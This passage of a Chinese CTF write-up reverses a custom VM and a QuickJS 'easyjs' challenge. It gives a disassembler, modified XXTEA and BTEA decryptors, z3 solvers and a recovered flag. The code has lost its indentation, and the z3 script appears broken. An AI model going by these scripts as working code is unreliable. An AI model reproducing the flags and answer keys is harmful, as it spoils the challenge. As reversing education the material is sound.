0xFF, 0xE0, 0x0B, 0x03, 0xFB, 0xFF, 0xE0, 0x09, 0x0B, 0xF5,
0xFF, 0xE0, 0x09, 0x0A, 0xFB, 0xF4, 0x0A, 0x00, 0xE1, 0xFF,
0xE0, 0x09, 0x0A, 0xF5, 0xF4, 0x09, 0x00, 0xE2, 0xF1, 0xE0,
0x03, 0x09, 0xFF, 0x01, 0x00, 0x01, 0xF5, 0xF2, 0x00, 0x08,
0x01, 0x7C, 0xF1, 0x01, 0x02, 0x00, 0xF4, 0x02, 0x02, 0xE1,
0xF1, 0xE0, 0x0A, 0x03, 0xFF, 0x01, 0x0A, 0x05, 0xFA, 0xF1,
0xE0, 0x0B, 0x02, 0xFF, 0x01, 0x0B, 0x02, 0xF9, 0xFF, 0xE0,
0x0A, 0x0B, 0xFB, 0xF1, 0xE0, 0x0B, 0x02, 0xFF, 0x01, 0x0B,
0x03, 0xFA, 0xF1, 0xE0, 0x0C, 0x03, 0xFF, 0x01, 0x0C, 0x04,
0xF9, 0xFF, 0xE0, 0x0B, 0x0C, 0xFB, 0xFF, 0xE0, 0x0A, 0x0B,
0xF5, 0xF1, 0xE0, 0x09, 0x07, 0xFF, 0xE0, 0x09, 0x02, 0xFB,
0xF1, 0xE0, 0x0B, 0x00, 0xFF, 0x01, 0x0B, 0x03, 0xFD, 0xFF,
0xE0, 0x0B, 0x01, 0xFB, 0xF3, 0x0B, 0x0B, 0xF1, 0xF2, 0xF3,
0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD,
0xFE, 0xFF, 0xF0, 0xFF, 0xE0, 0x0B, 0x03, 0xFB, 0xFF, 0xE0,
0x09, 0x0B, 0xF5, 0xFF, 0xE0, 0x09, 0x0A, 0xFB, 0xF4, 0x0A,
0x00, 0xE1, 0xFF, 0xE0, 0x09, 0x0A, 0xF5, 0xF4, 0x09, 0x00,
0xE2, 0xF1, 0xE0, 0x03, 0x09, 0xFF, 0x01, 0x04, 0x01, 0xF6,
0xF1, 0x01, 0x0C, 0x00, 0xF2, 0x04, 0x0C, 0x01, 0x54, 0xF1,
0x01, 0x00, 0x00, 0xF1, 0xE0, 0x09, 0x05, 0xF1, 0x04, 0x0A,
0xF8, 0xF7, 0xF6, 0xF5, 0xF4, 0x0B, 0x00, 0xE1, 0xFF, 0xE0,
0x0B, 0x0A, 0xFB, 0xF4, 0x0B, 0x00, 0xE2, 0xFF, 0x01, 0x00,
0x01, 0xF5, 0xF2, 0x00, 0x09, 0x02, 0x01, 0xB2, 0xF1, 0x01,
0x00, 0x00, 0xF1, 0xE0, 0x09, 0x05, 0xFF, 0x01, 0x09, 0x02,
0xF8, 0xF4, 0x0A, 0x00, 0xE1, 0xF1, 0xE0, 0x0B, 0x05, 0xFF,
0xE0, 0x0B, 0x00, 0xF6, 0xFF, 0x01, 0x0B, 0x01, 0xF6, 0xF4,
0x0C, 0x0B, 0xE1, 0xF4, 0x0C, 0x00, 0xE2, 0xF4, 0x0A, 0x0B,
0xE2, 0xFF, 0x01, 0x00, 0x01, 0xF5, 0xF2, 0x00, 0x09, 0x02,
0x01, 0xD7]


r = [0]*17
mem = [0x123,0x234,0x345,0x456]
# print(r)

while True:
v4 = r[16]
r[16] = v4+1
result = opcode[v4]-0xF1
if result == 0:
v1 = r[16]
v2 = opcode[v1]
v3 = opcode[v1+1]
print(str(v1)+':\t',end='')
if v2==0xe0:
r[16] = v1+3
v4 = r[opcode[v1+2]]
print(f'r[{v3}] = r[{opcode[v1+2]}]')
else:
v4 = 0
while(v2<<24):
r[16] = v1+3
v2 -= 1
v4 = opcode[v1+2] | (v4<<8)
v1 += 1
print(f'r[{v3}] = {hex(v4)}')
r[v3] = v4
elif result == 1:
v1 = r[16]
tmp = v1
v2 = opcode[v1]
v3 = opcode[v1+1]
v4 = opcode[v1+2]
print(str(v1)+':\t',end='')
if r[v2] == r[v3]:
v5 = v1+3+v4
print(f'jmp {v5}')
if v5==512:
for i in range(4):
print(hex(mem[i]))
else:
v5 = 0
while v4:
r[16] = v1+4
v4 -= 1
v5 = opcode[v1+3] | (v5<<8)
v1 += 1
print(f'if r[{v2}] != r[{v3}]: jmp {v5}')
r[16] = v5
elif result == 2:
v1 = r[16]
v2 = opcode[v1]
v3 = opcode[v1+1]
v4 = r[v3]
v5 = v1+4*v4
v6 = 0
for i in range(-4,0,1):
r[16] = v5+3
v6 = opcode[v5+2] | v6<<8
v5 += 1
# v6 = opcode[v5+2]<<24 | opcode[v5+3]<<16 | opcode[v5+4]<<8 | opcode[v5+5]
r[16] = v5 - 4*r[v3]+14
r[v2] = v6
print(str(v1)+':\t'+f'r[{v2}] = {hex(v6)} opcode[v1+4*r[opcode[v1+1]]+2]<<24 | opcode[v1+4*r[opcode[v1+1]]+3]<<16 | opcode[v1+4*r[opcode[v1+1]]+4]<<8 | opcode[v1+4*r[opcode[v1+1]]+5]')
elif result == 3:
v2 = r[16]
v3 = opcode[v2]
v4 = opcode[v2+1]
v5 = r[v4]
r[16] = v2+3
if opcode[v2+2]==0xe2:
mem[v5] = r[v3]
print(str(v2)+':\t'+f'mem[{v5}] = r[{v3}]')
else:
r[v3] = mem[v5]
print(str(v2)+':\t'+f'r[{v3}] = mem[{v5}]')
elif result == 13:
print(str(r[16])+':\treturn')
elif result == 14:
v1 = r[16]
v3 = v1+2
v4 = opcode[v1]
v5 = opcode[v1+1]
if v4 == 0xe0:
v6 = v1+3
r[16] = v1+3
v7 = r[opcode[v1+2]]
s = f'r[{opcode[v1+2]}]'
else:
v7 = 0
while(v4<<24):
r[16] = v3+1
v4 -= 1
v7 = opcode[v3] | (v7<<8)
v3 += 1
s = hex(v7)
v6 = v3
r[16] = v6+1
res = opcode[v6]-0xff-1
if res == -11:
r[v5] = (r[v5] +v7)&0xffffffff
print(str(v1)+':\t'+f'r[{v5}] += '+s)
elif res == -10:
r[v5] = (r[v5] - v7) &0xffffffff
print(str(v1)+':\t'+f'r[{v5}] -= '+s)
elif res == -9:
r[v5] *= v7
print(str(v1)+':\t'+f'r[{v5}] *= '+s)
elif res == -8:
r[v5] //= v7
print(str(v1)+':\t'+f'r[{v5}] //= '+s)
elif res == -7:
r[v5] <<= v7
print(str(v1)+':\t'+f'r[{v5}] <<= '+s)
elif res == -6:
r[v5] >>= v7
print(str(v1)+':\t'+f'r[{v5}] >>= '+s)
elif res == -5:
r[v5] ^= v7
print(str(v1)+':\t'+f'r[{v5}] ^= '+s)
elif res == -4:
r[v5] |= v7
print(str(v1)+':\t'+f'r[{v5}] |= '+s)
elif res == -3:
r[v5] &= v7
print(str(v1)+':\t'+f'r[{v5}] &= '+s)
else:
print(str(v1)+':\t'+'wrong2')
else:
print(str(r[16])+':\t'+'wrong')

(其中mem即为输入,手动代了几个数字方便调试)

按照流程,打印出7000+行代码,大致观察发现有明显的xxtea的特征,delta=0xf4f3f2f1,循环64轮,key=[0xf1f2f3f4,0xf5f6f7f8,0xf9fafbfc,0xfdfefff0]

25

解密无果,猜测有魔改,结果在开头和结尾又发现了一些加密。

开头将输入调换位置

img

结尾异或0xf8f7f6f5并调换位置

img

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
a = [0x55D37604, 0xB5FFA19E, 0xC202F734, 0x963BE91F]
for i in range(4):
a[i] ^= 0xf8f7f6f5
t = a[3]
a[3] = a[0]
a[0] = t
t = a[1]
a[1] = a[2]
a[2] = t
a2 = [0xf1f2f3f4,0xf5f6f7f8,0xf9fafbfc,0xfdfefff0]
v5 = 0xf4f3f2f1
# n = 52//len(a) + 6
v8 = v5*64
v9 = a[len(a)-1]
for i in range(64):
j = len(a)-2
v9 = a[j]
v6 = (v8>>2) & 3
a[len(a)-1] = (a[len(a)-1] - (((v9 ^ a2[v6 ^ ((j+1) & 3)]) + (a[0] ^ v8)) ^ (((16 * v9) ^ (a[0] >> 3)) + ((4 * a[0]) ^ (v9 >> 5))))) & 0xffffffff
while(j>0):
v9 = a[j-1]
a[j] = (a[j] - (((v9 ^ a2[v6 ^ (j & 3)]) + (a[j+1] ^ v8)) ^ (((16 * v9) ^ (a[j+1] >> 3)) + ((4 * a[j+1]) ^ (v9 >> 5))))) & 0xffffffff
j -= 1
v9 = a[len(a)-1]
a[0] = (a[0] - (((v9 ^ a2[v6 ^ (j & 3)]) + (a[j+1] ^ v8)) ^ (((16 * v9) ^ (a[j+1] >> 3)) + ((4 * a[j+1]) ^ (v9 >> 5))))) & 0xffffffff
v8 -= v5

for i in [3,0,1,2]: print(chr(a[i]>>24&0xff),chr(a[i]>>16&0xff),chr(a[i]>>8&0xff),chr(a[i]&0xff),end='',sep='')
# 1t_i5_3z_i5nt_it

easyjs

quickjs,下载源码编译输出字节码,具体参考https://bbs.pediy.com/thread-259014.htm

字节码中首先观察到了初始化一些常量函数以及字符串

可以很明显的看到一个大小写互换的base64表

img

得到字节码开始分析eval函数,这个相当于正常的main函数

img

这里的意思应该是encode64(enc1())的意思,所以先调用enc1,然后再调用encode64

enc1里面就是一个BTEA delta mx key都很容易知道,上网上扒一个代码实现就行了

后面是一个错位异或,

img

最后调用了func5 func6函数 func5函数是一个转大整数的方法,

img

func6里面主要是一堆的逻辑运算,然后与已知量比较,

32

将data3 15个数字分为三组,然后进行比较,拿z3解一下

总结一下就是先逆出来逻辑运算、然后是异或、base64、BTEA写脚本解就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from base64 import b64decode, b64encode
from z3 import *

data3 = [5911837666743816200,
5133585975960501272,
9082418069800623372,
9154480062992383756,
6848599583376686600,
147787617043219975,
6140429622497212985,
2526269866358605591,
4552892036882908959,
4543304157965338119,
4620825451554930944,
8808899373961281307,
5924901230665995531,
8808899373961281307,
8662527953563041043]

data4 = [2101524238053948931,
9154814254531429383,
8941618984500083987]

data = []

for i in range(3):
data5 = [BitVec("x%d" % i, 64) for i in range(4)]
x = data5[0]
y = data5[1]
z = data5[2]
w = data5[3]
a = ~x & z
b = (z & ~x | (x&y) | (z & (~y)) | (x & (~y)) ) ^ w
c = (z & ~y & x)| (z & ((x & y) | (y & (~x)) | ~(y | x)))
d = (z & ~x) | (x & y) | (z & ~y) | (x & ~y)
e = (z & ~x) | (x&y) | (y&z)
s = Solver()
s.add(a == data3[i*5:i*5+5])
s.add(b == data3[i*5:i*5+5])
s.add(c == data3[i*5:i*5+5])
s.add(d == data3[i*5:i*5+5])
s.add(e == data3[i*5:i*5+5])
s.add(y == data3[i*5:i*5+5])
s.check()
m = s.model()
res = []
for i in data5:
res.append(int(str(m[i])))
#print(res)

aa = []
for r in res:
k = []
for i in range(8):
k.append(r & 0xff)
r >>= 8
aa += k
data += aa


n = len(data)

data[-1] = data[-1]^data[1]
data[-2] = data[-2]^data[0]
for i in range(n-3, -1)[::-1]:
data[i] ^= data[i+2]

print(bytes(data))
#include <iostream>
#include <stdio.h>

using namespace std;

#include <stdint.h>
#define DELTA 289739796
#define MX (((z >> 6) ^ (y << 3)) + ((y >> 4) ^ (z << 5)) ^ ((sum^y) + (secret[(p&3)^e] ^ z)))

void btea(uint32_t *vector, int n, uint32_t const secret[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) {
rounds = 6 + 52/n;
sum = 0;
z = vector[n-1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++) {
y = vector[p+1];
z = vector[p] += MX;
}
y = vector[0];
z = vector[n-1] += MX;
} while (--rounds);
} else if (n < -1) {
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = vector[0];
do {
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--) {
z = vector[p-1];
y = vector[p] -= MX;
}
z = vector[n-1];
y = vector[0] -= MX;
} while ((sum -= DELTA) != 0);
}
}

int main()
{
char secret[17] = "welcometoycb2022";
uint8_t buf[] = {50, 145, 242, 166, 198, 128, 32, 9, 222, 204, 87, 158, 160, 147, 155, 82, 71, 9, 38, 246, 0, 88, 185, 225, 62, 226, 31, 171, 199, 245, 106, 31};
btea((uint32_t*)buf,-8,(uint32_t*)secret);
for(int j=0;j<32;j++)
printf("%c",buf[j]);
return 0;
}